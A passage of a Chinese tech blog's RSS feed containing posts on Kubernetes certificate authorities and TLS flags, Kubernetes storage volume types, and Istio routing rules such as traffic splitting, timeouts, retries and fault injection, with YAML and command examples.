&lt;li&gt;还有其他。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我不是安全专家，所以不想说如何管理私钥和 CA 才更好。但是不管你用的什么样的模型，其实都可以跟 Kubernetes 协调工作。&lt;/p&gt;

&lt;p&gt;下面根据需求来确认管理 PKI 的方式，以及如何在 Kubernetes 中实现。&lt;/p&gt;

&lt;p&gt;Kubernetes 集群需要一个单根结构的 CA 么？不&lt;/p&gt;

&lt;p&gt;如果你读了不少 Kubernetes 集群的安装文档，会注意到总有一步：设置一个 CA。Kelsey Hightower 的大作 “Kubernetes the hard way” 中是第二步，“在集群中信任 TLS ”中说：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;每个 Kubernetes 集群都有一个集群根 CA。CA 一般用于集群中的组件验证 API Server 的合法性，在 API Serverl 来说，就是验证 kubelet 客户端的证书，诸如此类的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;基本上来说：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;设置一个 CA&lt;/li&gt;
&lt;li&gt;用这个 CA 生成不同的证书，给 Kubernetes 集群的不同组件使用。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;如果不想为每个集群设置一个新的 CA 呢？可能有很多理由。但是我担心，最终还是需要提供一个根 CA。&lt;/p&gt;

&lt;p&gt;这好像说上面的话是假的，其实可以使用很多不同的 CA 签发的证书来管理 Kubernetes。总的说来，还是要结合具体场景的需求。&lt;/p&gt;

&lt;p&gt;接下来我们来探讨一下证书相关的参数，以及互相之间的关系。每一节都会包含一个可以定义的 CA。每一个都是独立的，并不需要一致。不过在实际操作中，可能你并不想管理 6 个不同的 CA。&lt;/p&gt;

&lt;h2 id=&#34;api-server-的-tls-证书-以及-ca&#34;&gt;API Server 的 TLS 证书（以及 CA）&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--tls-cert-file string&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;包含缺省的 x509 https 认证的文件（可以包含 CA 证书），如果启用了 HTTPS 服务，又没有指定&lt;code&gt;--tls-cert-file&lt;/code&gt;和&lt;code&gt;--tls-private-key-file&lt;/code&gt;参数，就会在 &lt;code&gt;/var/run/kubernetes&lt;/code&gt;生成一个自签名证书以及 Key&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--tls-private-key-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;--tls-cert-file&lt;/code&gt;证书的 x509 私钥。&lt;/p&gt;

&lt;p&gt;如果用 TLS 连接 API Server，就需要这两个参数来选择 API Server 使用的证书。&lt;/p&gt;

&lt;p&gt;证书设置了之后，还需要给各个组件的 kubeconfig 文件进行相关设置。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;current-context: my-context
apiVersion: v1
clusters:
- cluster:
    certificate-authority: /path/to/my/ca.crt # 签发 API Server 证书的 CA 证书
    server: https://horse.org:4443
  name: my-cluster
kind: Config
users:
- name: green-user
  user:
    client-certificate: path/to/my/client/cert # 后面会讲
    client-key: path/to/my/client/key # 后面会讲
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有个让我惊奇的事情就是——这个宇宙里面的几乎所有其他使用 TLS 的系统都会去 &lt;code&gt;/etc/ssl&lt;/code&gt; 查找一个本机信任的 CA 列表，但是 Kubernetes 很傲娇，他不会去找，必须显式的进行告知签发 CA。&lt;/p&gt;

&lt;p&gt;可以使用参数&lt;code&gt;--kubeconfig /path/to/kubeconfig.yaml&lt;/code&gt;将配置文件分配给各个组件进行使用。&lt;/p&gt;

&lt;p&gt;这样我们完成了第一个 CA 的设置：签发 API Server 证书的 CA。这个 CA 跟其他的 CA 可以不一致。&lt;/p&gt;

&lt;h2 id=&#34;api-server-客户证书认证&#34;&gt;API Server 客户证书认证&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--client-ca-file**&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果设置了这一参数，所有的请求都应该使用该文件中所包含的 CA 签发的证书进行签署，证书中的 Common Name 会作为用户名进行使用。&lt;/p&gt;

&lt;p&gt;Kubernetes 组件获得 API Server 认证的方法之一就是使用这一参数。&lt;/p&gt;

&lt;p&gt;所有客户端证书都应该由这一 CA 签发（不需要和 API Server 的 CA 一致）。&lt;/p&gt;

&lt;p&gt;当使用 kubeconfig 文件的时候，可以按照如下方式设置使用证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Config
users:
- name: green-user
  user:
    client-certificate: path/to/my/client/cert
    client-key: path/to/my/client/key
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubernetes 做了很多用户证书方面的假设（用户名就是 Common Name，Group 就是 Organization）。如果这些假设不符合需求，那么就应该&lt;strong&gt;停用客户端证书认证&lt;/strong&gt;，改用认证代理。&lt;/p&gt;

&lt;h2 id=&#34;请求-header-的证书认证-或者-认证代理&#34;&gt;请求 Header 的证书认证（或者：认证代理）&lt;/h2&gt;

&lt;h3 id=&#34;api-server-参数&#34;&gt;API server 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--requestheader-allowed-names stringSlice&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;--requestheader-username-headers&lt;/code&gt; 中指定的 Header 中包含用户名，这一参数的列表确定了允许有效的 Common Name，如果这一参数的列表为空，则所有通过&lt;code&gt;--requestheader-client-ca-file&lt;/code&gt;校验的都允许通过。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--requestheader-client-ca-file string&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;针对收到的请求，在信任&lt;code&gt;--requestheader-username-headers&lt;/code&gt;中指定的 Header 里面包含的用户名之前，首先会用这一 CA 对客户证书进行验证。&lt;/p&gt;

&lt;p&gt;另外一个设置 Kubernetes 认证的方式就是认证代理。如果你对如何向 API Server 发送用户名和组有很多想法，可以设置一个代理，这一代理会使用 HTTP Header 将用户名和组发送给 API Server。&lt;/p&gt;

&lt;p&gt;文档中简单的解释了一下工作方式。代理使用一个客户端证书表明身份，&lt;code&gt;--requestheader-client-ca-file&lt;/code&gt;告知 API Server，该证书所属的 CA。&lt;/p&gt;

&lt;p&gt;我觉得——API Server 有太多认证方式了（客户端认证、认证代理、Token 等等），让人很迷惑。建议用户尽量少的同时使用认证方式，便于管理、使用和除错。&lt;/p&gt;

&lt;h2 id=&#34;service-account-私钥-不是-ca-签发的&#34;&gt;service account 私钥（不是 CA 签发的）&lt;/h2&gt;

&lt;h3 id=&#34;api-server-参数-1&#34;&gt;API Server 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--service-account-key-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PEM 编码的 X509 RSA 或者 ECDSA 的私钥或者公钥，用于检验 ServiceAccount 的 token。如果没指定的话，会使用&lt;code&gt;--tls-private-key-file&lt;/code&gt;替代。文件中可以包含多个 Key，这一参数可以重复指定多个文件。&lt;/p&gt;

&lt;h3 id=&#34;controller-manager-参数&#34;&gt;Controller Manager 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--service-account-private-key-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PEM 编码的 X509 RSA 或者 ECDSA Key，用于签署 Service Account Token。&lt;/p&gt;

&lt;p&gt;Controller Manager 使用私钥签署 Service Account Token。跟 Kubernetes 中使用的其他私钥不同的是，这个私钥是不支持同一 CA 验证的，因此上，需要给每个 Controller Manager 指定一致的私钥文件。&lt;/p&gt;

&lt;p&gt;这个 Key 也不需要什么 CA 来做签署，生成很容易：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;openssl genrsa -out private.key 4096
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后分发给每个 Controller Manager 和 API Server 就可以了。&lt;/p&gt;

&lt;p&gt;使用和 &lt;code&gt;--tls-private-key-file&lt;/code&gt; 一致的文件是可以工作的——只要你给每个 API Server 用的都是同一个 TLS Key（一般都这么做的吧？）。（这里我假设你运行的一个有高可用支持的，多个 API Server 和多个 Controller Manager同时运行的集群）&lt;/p&gt;

&lt;p&gt;如果两个不同的 Controller Manager 用了两个不同的 Key，那就杯具了，他们会用各自的 Key 来生成 Token，最终导致无效判定。我觉得这点不太合理，Kubernetes 应该和其他方面一样，使用 CA 进行管理。通过对源码的月度，我觉得原因可能是 jwt-go 不支持 CA。&lt;/p&gt;

&lt;h2 id=&#34;kubelet-证书认证&#34;&gt;Kubelet 证书认证&lt;/h2&gt;

&lt;p&gt;总算到了 Kubelet 环节了，下面是 API Server 和 Kubelet 相关的内容：&lt;/p&gt;

&lt;h3 id=&#34;api-server-参数-2&#34;&gt;API Server 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;--kubelet-certificate-authority&lt;/code&gt;： CA 证书的路径。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;--kubelet-client-certificate&lt;/code&gt;： TLS 证书文件&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;--kubelet-client-key** TLS Key&lt;/code&gt;： 文件&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;kubelet-参数&#34;&gt;Kubelet 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--client-ca-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;请求中的客户端证书如果是由文件中的 CA 签署的，那么他的 Common Name 就会被用作 ID 进行认证。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--tls-cert-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;用来提供 HTTPS 服务的 x509 证书（其中也可包含中间人证书）。如果不提供 &lt;code&gt;--tls-cert-file&lt;/code&gt; 和&lt;code&gt;--tls-private-key-file&lt;/code&gt;，就会为主机地址生成一个自签名的证书和对应的 Key，并保存到 &lt;code&gt;--cert-dir&lt;/code&gt; 目录里。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--tls-private-key-file&lt;/code&gt;：&lt;code&gt;--tls-cert-file&lt;/code&gt; 对应的 Key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;校验 kubelet 的请求是有用的，因为 Kubelet 的职责就是在主机上执行代码。&lt;/p&gt;

&lt;p&gt;这里实际上有两个 CA，这里不准备深入描述，情况和 API Server 是一样的，Kubelet 用 TLS 来进行认证，也支持客户证书认证。&lt;/p&gt;

&lt;p&gt;另外还要告知 API Server，用什么 CA 检查 Kubelet 的 TLS，另外用什么证书来跟 Kubelet 通信。&lt;/p&gt;

&lt;p&gt;再说一次，这两个 CA 是可以不同的。&lt;/p&gt;

&lt;h2 id=&#34;太多-ca-了&#34;&gt;太多 CA 了&lt;/h2&gt;

&lt;p&gt;现在我们找到了五个不同的 CA，他们各自独立的为 Kubernetes 提供支持。&lt;/p&gt;

&lt;p&gt;其实还有一些没讨论到的证书，不过希望本文能给你阅读官方文档提供一点帮助。&lt;/p&gt;

&lt;p&gt;当然了，每个 CA 独立设置可能不是必要的，我是希望帮助读者理解这些东西如何设置使之符合各种需求，而不是简单的面向文档照本宣科。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中的几种存储</title>
      <link>/post/storage-in-kubernetes/</link>
      <pubDate>Sat, 12 Aug 2017 00:07:43 +0800</pubDate>
      <guid>/post/storage-in-kubernetes/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;参考：&lt;code&gt;https://kubernetes.io/docs/concepts/storage/volumes/&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;一个运行中的容器，缺省情况下，对文件系统的写入，都是发生在其分层文件系统的可写层的，一旦容器运行结束，所有写入都会被丢弃。因此需要对持久化支持。&lt;/p&gt;

&lt;p&gt;Kubernetes 中通过 Volume 的方式提供对存储的支持。下面对一些常见的存储概念进行一点简要的说明。&lt;/p&gt;

&lt;h2 id=&#34;emptydir&#34;&gt;EmptyDir&lt;/h2&gt;

&lt;p&gt;顾名思义，&lt;code&gt;EmptyDir&lt;/code&gt;是一个空目录，他的生命周期和所属的 Pod 是完全一致的，可能读者会奇怪，那还要他做什么？&lt;code&gt;EmptyDir&lt;/code&gt;的用处是，可以在同一 Pod 内的不同容器之间共享工作过程中产生的文件。&lt;/p&gt;

&lt;p&gt;缺省情况下，EmptyDir 是使用主机磁盘进行存储的，也可以设置&lt;code&gt;emptyDir.medium&lt;/code&gt; 字段的值为&lt;code&gt;Memory&lt;/code&gt;，来提高运行速度，但是这种设置，对该卷的占用会消耗容器的内存份额。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: gcr.io/google_containers/test-webserver
    name: test-container
    volumeMounts:
    - mountPath: /cache
      name: cache-volume
  volumes:
  - name: cache-volume
    emptyDir: {}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;hostpath&#34;&gt;HostPath&lt;/h2&gt;

&lt;p&gt;这种会把宿主机上的指定卷加载到容器之中，当然，如果 Pod 发生跨主机的重建，其内容就难保证了。&lt;/p&gt;

&lt;p&gt;这种卷一般和&lt;code&gt;DaemonSet&lt;/code&gt;搭配使用，用来操作主机文件，例如进行日志采集的 FLK 中的 FluentD 就采用这种方式，加载主机的容器日志目录，达到收集本主机所有日志的目的。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: gcr.io/google_containers/test-webserver
    name: test-container
    volumeMounts:
    - mountPath: /test-pd
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      # directory location on host
      path: /data
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;nfs-glusterfs-cephfs-aws-gce-等等&#34;&gt;NFS/GlusterFS/CephFS/AWS/GCE 等等&lt;/h2&gt;

&lt;p&gt;作为一个容器集群，支持网络存储自然是重中之重了，Kubernetes 支持为数众多的云提供商和网络存储方案。&lt;/p&gt;

&lt;p&gt;各种支持的方式不尽相同，例如 GlusterFS 需要创建 Endpoint，Ceph/NFS 之流就没这么麻烦了。&lt;/p&gt;

&lt;p&gt;各种个性配置可移步参考文档。&lt;/p&gt;

&lt;h2 id=&#34;configmap-和-secret&#34;&gt;ConfigMap 和 Secret&lt;/h2&gt;

&lt;p&gt;镜像使用的过程中，经常需要利用配置文件、启动脚本等方式来影响容器的运行方式，如果仅有少量配置，我们可以使用环境变量的方式来进行配置。然而对于一些较为复杂的配置，例如 Apache 之类，就很难用这种方式进行控制了。另外一些敏感信息暴露在 YAML 中也是不合适的。&lt;/p&gt;

&lt;p&gt;ConfigMap 和 Secret 除了使用文件方式进行应用之外，还有其他的应用方式；这里仅就文件方式做一点说明。&lt;/p&gt;

&lt;p&gt;例如下面的 ConfigMap，将一个存储在 ConfigMap 中的配置目录加载到卷中。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: dapi-test-pod
spec:
  containers:
    - name: test-container
      image: gcr.io/google_containers/busybox
      command: [ &amp;quot;/bin/sh&amp;quot;, &amp;quot;-c&amp;quot;, &amp;quot;ls /etc/config/&amp;quot; ]
      volumeMounts:
      - name: config-volume
        mountPath: /etc/config
  volumes:
    - name: config-volume
      configMap:
        # Provide the name of the ConfigMap containing the files you want
        # to add to the container
        name: special-config
  restartPolicy: Never
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意，这里的 ConfigMap 会映射为一个目录，ConfigMap 的 Key 就是文件名，每个 Value 就是文件内容，比如下面命令用一个目录创建一个 ConfigMap：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl create configmap \
game-config \
--from-file=docs/user-guide/configmap/kubectl
&lt;/code&gt;&lt;/pre&gt;

&lt;hr /&gt;

&lt;p&gt;创建一个 Secret：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl create secret generic \
db-user-pass --from-file=./username.txt \
--from-file=./password.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 Volume 加载 Secret：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: mypod
  namespace: myns
spec:
  containers:
    - name: mypod
      image: redis
      volumeMounts:
        - name: foo
          mountPath: /etc/foo
          readOnly: true
  volumes:
    - name: foo
      secret:
        secretName: mysecret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到 Secret 和 ConfigMap 的创建和使用是很相似的。在 RBAC 中，Secret 和 ConfigMap 可以进行分别赋权，以此限定操作人员的可见、可控权限。&lt;/p&gt;

&lt;h2 id=&#34;pv-pvc&#34;&gt;PV &amp;amp; PVC&lt;/h2&gt;

&lt;p&gt;PersistentVolume 和 PersistentVolumeClaim 提供了对存储支持的抽象，也提供了基础设施和应用之间的分界，管理员创建一系列的 PV 提供存储，然后为应用提供 PVC，应用程序仅需要加载一个 PVC，就可以进行访问。&lt;/p&gt;

&lt;p&gt;而 1.5 之后又提供了 PV 的动态供应。可以不经 PV 步骤直接创建 PVC。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;参考：&lt;code&gt;http://blog.fleeto.us/translation/dynamic-provisioning-and-storage-classes-kubernetes-0&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>istio 三日谈之二 路由规则</title>
      <link>/post/istio-route-rules/</link>
      <pubDate>Fri, 28 Jul 2017 17:35:28 +0800</pubDate>
      <guid>/post/istio-route-rules/</guid>
      <description>

&lt;p&gt;路由控制是 istio 的最常用功能了，经过前面的准备，我们已经基本可以进行这些内容的尝试了。&lt;/p&gt;

&lt;p&gt;注意下面的路由规则都忽略了对来源的过滤，会显得比较呆板或者说没用，但是在加入过滤条件之后，就完全不可同日而语了。具体的过滤规则的写法可以参考官方文档或者 istio 中的 bookinfo 实例。&lt;/p&gt;

&lt;h2 id=&#34;创建-frontend-v2&#34;&gt;创建 frontend-v2&lt;/h2&gt;

&lt;p&gt;为了展示路由分配的能力，我们首先创建一个名为&lt;code&gt;frontend-v2&lt;/code&gt;的&lt;code&gt;Deployment&lt;/code&gt;，这个&lt;code&gt;deploy&lt;/code&gt;跟之前的 v1 共享同一个 PVC，也就是共享同一套页面。利用环境变量来控制输出。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Deployment
apiVersion: extensions/v1beta1
metadata:
  name: frontend-v2
spec:
  replicas: 1
  template:
    metadata:
      labels:
        name: frontend
        version: &amp;quot;2&amp;quot;
    spec:
      containers:
      - name: php
        image: 10.211.55.86:5000/php:7.1.7-apache
        ports:
        - containerPort: 80
          protocol: TCP
        volumeMounts:
        - name: wwwroot
          mountPath: /var/www/html
        env:
        - name: &amp;quot;SERVICE_VERSION&amp;quot;
          value: &amp;quot;2&amp;quot;
      volumes:
      - name: wwwroot
        persistentVolumeClaim:
          claimName: frontend-v1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同前面的 v1 一样，这个&lt;code&gt;Deployment&lt;/code&gt;也需要使用&lt;code&gt;istioctl kube-inject&lt;/code&gt;进行注入，最后使用&lt;code&gt;kubectl apply -f&lt;/code&gt; 运行。&lt;/p&gt;

&lt;h2 id=&#34;流量分配&#34;&gt;流量分配&lt;/h2&gt;

&lt;h3 id=&#34;首先创建如下路由规则&#34;&gt;首先创建如下路由规则&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;default.yaml&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;type: route-rule
name: frontend-default
spec:
  destination: svc-frontend.default.svc.cluster.local
  precedence: 1
  route:
  - tags:
      version: &amp;quot;2&amp;quot;
    weight: 100
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;destination：必须是服务的 fqdn&lt;/li&gt;
&lt;li&gt;precedence：整数，优先级，越大越先&lt;/li&gt;
&lt;li&gt;route：数组

&lt;ul&gt;
&lt;li&gt;tag：&lt;strong&gt;Pod&lt;/strong&gt; 的标签选择器。&lt;/li&gt;
&lt;li&gt;weigh: 整数，权重，分配到当前路由的比率。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;创建之后，使用&lt;code&gt;istioctl create -f default.yaml&lt;/code&gt;，创建这一规则。接下来我们使用&lt;code&gt;kubectl exec -it&lt;/code&gt;进入 tool pod 进行测试：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ curl svc-frontend/index.php

-----------------------------
From: frontend-797054967-r12m5
Version: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回内容表明这一服务调用的是最初的 v1 版本的 frontend。&lt;/p&gt;

&lt;p&gt;接下来修改 default.yaml 的&lt;code&gt;version &amp;quot;1&amp;quot;&lt;/code&gt;为&lt;code&gt;version &amp;quot;2&amp;quot;&lt;/code&gt;，然后用&lt;code&gt;istioctl replace -f default.yaml&lt;/code&gt;更新路由规则。再次验证：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ curl svc-frontend/index.php

-----------------------------
From: frontend-v2-90739004-xpmrn
Version: 2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里可以看到，这一响应来自于 v2 版本的 Pod，并且返回的版本号也是 2。&lt;/p&gt;

&lt;p&gt;然后我们再次修改路由规则，测试一下路由分配：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;type: route-rule
name: frontend-default
spec:
  destination: svc-frontend.default.svc.cluster.local
  precedence: 1
  route:
  - tags:
      version: &amp;quot;2&amp;quot;
    weight: 10
  - tags:
      version: &amp;quot;1&amp;quot;
    weight: 90
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;根据上面的路由规则，对  svc-frontend 这一服务的访问，应该有 10% 流量分给版本 2，其余的 90% 分配给了版本 1。我们在 tool pod 中使用如下脚本测试这一分配：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/bash
for i in {1..100}
do
  curl -s svc-frontend/index.php | grep Version
done
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行效果：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$  ./curl.batch.sh  | grep 2 | wc -l
10
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，完全符合之前我们的路由设置。&lt;/p&gt;

&lt;h2 id=&#34;超时策略&#34;&gt;超时策略&lt;/h2&gt;

&lt;p&gt;为了保障服务质量，我们有时会要求对某些服务的返回时间进行限制&lt;/p&gt;

&lt;p&gt;前面提到，我们生成了一个&lt;code&gt;delay.php&lt;/code&gt;，用于进行延时测试，文件内容如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
header(&amp;quot;Content-type: text/plain&amp;quot;);
sleep(4);
echo &amp;quot;\n-----------------------------\n&amp;quot;;
echo &amp;quot;\nFrom: &amp;quot;.gethostname().&amp;quot;\n&amp;quot;;
echo &amp;quot;Version: &amp;quot;.$_ENV[&#39;SERVICE_VERSION&#39;].&amp;quot;\n&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;正常执行&lt;code&gt;time curl -s svc-frontend/delay.php&lt;/code&gt;，会返回如下结果：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;-----------------------------
From: frontend-797054967-r12m5
Version: 1

real    0m4.025s
user    0m0.005s
sys     0m0.004s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们在这里加入一个策略，两秒超时：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;type: route-rule
name: front-timeout
spec:
  destination: svc-frontend.default.svc.cluster.local
  precedence: 9
  route:
  - tags:
      version: &amp;quot;1&amp;quot;
  httpReqTimeout:
    simpleTimeout:
      timeout: 2s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次测试，则会返回超时的结果：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;upstream request timeout
real    0m2.015s
user    0m0.006s
sys     0m0.003s
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;重试策略&#34;&gt;重试策略&lt;/h2&gt;

&lt;p&gt;在服务超时的时候，我们可能会希望请求自动重试。&lt;/p&gt;

&lt;p&gt;这一测试要求保留前面的超时策略，以便形成失败结果：&lt;/p&gt;

&lt;p&gt;策略文件如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;type: route-rule
name: front-timeout
spec:
  destination: svc-frontend.default.svc.cluster.local
  precedence: 9
  route:
  - tags:
      version: &amp;quot;1&amp;quot;
  httpReqRetries:
    simpleRetry:
      attempts: 3
      perTryTimeout: 2s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里表示每次尝试的超时时间是两秒，重试三次。使用 curl 测试：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ time curl -s svc-frontend/delay.php
upstream request timeout
real    0m8.136s
user    0m0.005s
sys     0m0.006s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;时间为 8 秒，相当于四次超时的时间。&lt;/p&gt;

&lt;h2 id=&#34;rewrite&#34;&gt;Rewrite&lt;/h2&gt;

&lt;p&gt;和反向代理的情况类似，有时我们需要对进入服务的 URL 进行重写，下面的路由策略会将 &lt;code&gt;/front&lt;/code&gt; 替换为 &lt;code&gt;/&lt;/code&gt; 进行访问：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;type: route-rule
name: front-timeout
spec:
  destination: svc-frontend.default.svc.cluster.local
  precedence: 9
  match:
    httpHeaders:
      uri:
        prefix: &amp;quot;/front/&amp;quot;
  rewrite:
    uri: &amp;quot;/&amp;quot;
  route:
  - tags:
      version: &amp;quot;1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;注意这里对&lt;code&gt;uri&lt;/code&gt;的操作，是使用 rewrite 中的 uri 替换 match 中的 uri，二者的对应关系是强制的。&lt;/p&gt;

&lt;p&gt;在 tool 里面进行测试访问：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ curl http://svc-frontend/front/index.php
-----------------------------

From: frontend-797054967-r12m5
Version: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;故障注入&#34;&gt;故障注入&lt;/h2&gt;

&lt;p&gt;微服务测试过程中，能够自动生成一些错误，无疑是个很有帮助的事情。目前 istio 支持两种故障的模拟：时延和中断&lt;/p&gt;

&lt;h2 id=&#34;时延&#34;&gt;时延&lt;/h2&gt;

&lt;p&gt;下面的规则会为每个对该服务的请求都生成 7 秒的时延：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;type: route-rule
name: fdelay
spec:
  destination: svc-frontend.default.svc.cluster.local
  precedence: 9
  route:
  - tags:
      version: &amp;quot;1&amp;quot;
  httpFault:
    delay:
      percent: 100
      fixedDelay: 7s
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;percent: 产生时延的比例&lt;/li&gt;
&lt;li&gt;fixedDelay: 时间&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;使用 curl 验证，可以看到的确多出了 7 秒的处理时间。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ time curl -s http://svc-frontend/index.php
-----------------------------

From: frontend-797054967-r12m5
Version: 1

real    0m7.028s
user    0m0.007s
sys     0m0.003s
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;中断&#34;&gt;中断&lt;/h2&gt;

&lt;p&gt;这一功能可以模拟服务中断的情景，下面的 yaml 定义了该服务 100% 会返回 403 错误。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;type: route-rule
name: fdelay
spec:
  destination: svc-frontend.default.svc.cluster.local
  precedence: 9
  route:
  - tags:
      version: &amp;quot;1&amp;quot;
  httpFault:
    abort:
      percent: 100
      httpStatus: 403
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;curl 的验证结果如下：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$  curl -v svc-frontend/error.php
* Connected to svc-frontend (10.100.186.68) port 80 (#0)
&amp;gt; GET /error.php HTTP/1.1
&amp;gt; User-Agent: curl/7.38.0
&amp;gt; Host: svc-frontend
&amp;gt; Accept: */*
&amp;gt;
&amp;lt; HTTP/1.1 403 Forbidden
&amp;lt; date: Fri, 28 Jul 2017 01:27:52 GMT
* Server envoy is not blacklisted
&amp;lt; server: envoy
&amp;lt; content-length: 0
&amp;lt;
* Connection #0 to host svc-frontend left intact
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>istio 三日谈之一，环境准备</title>
      <link>/post/istio-env-prepare/</link>
      <pubDate>Fri, 28 Jul 2017 07:00:12 +0800</pubDate>
      <guid>/post/istio-env-prepare/</guid>
      <description>

&lt;p&gt;笔者尝试在一个准生产环境下，利用 istio 来对运行在 Kubernetes 上的微服务进行管理。&lt;/p&gt;

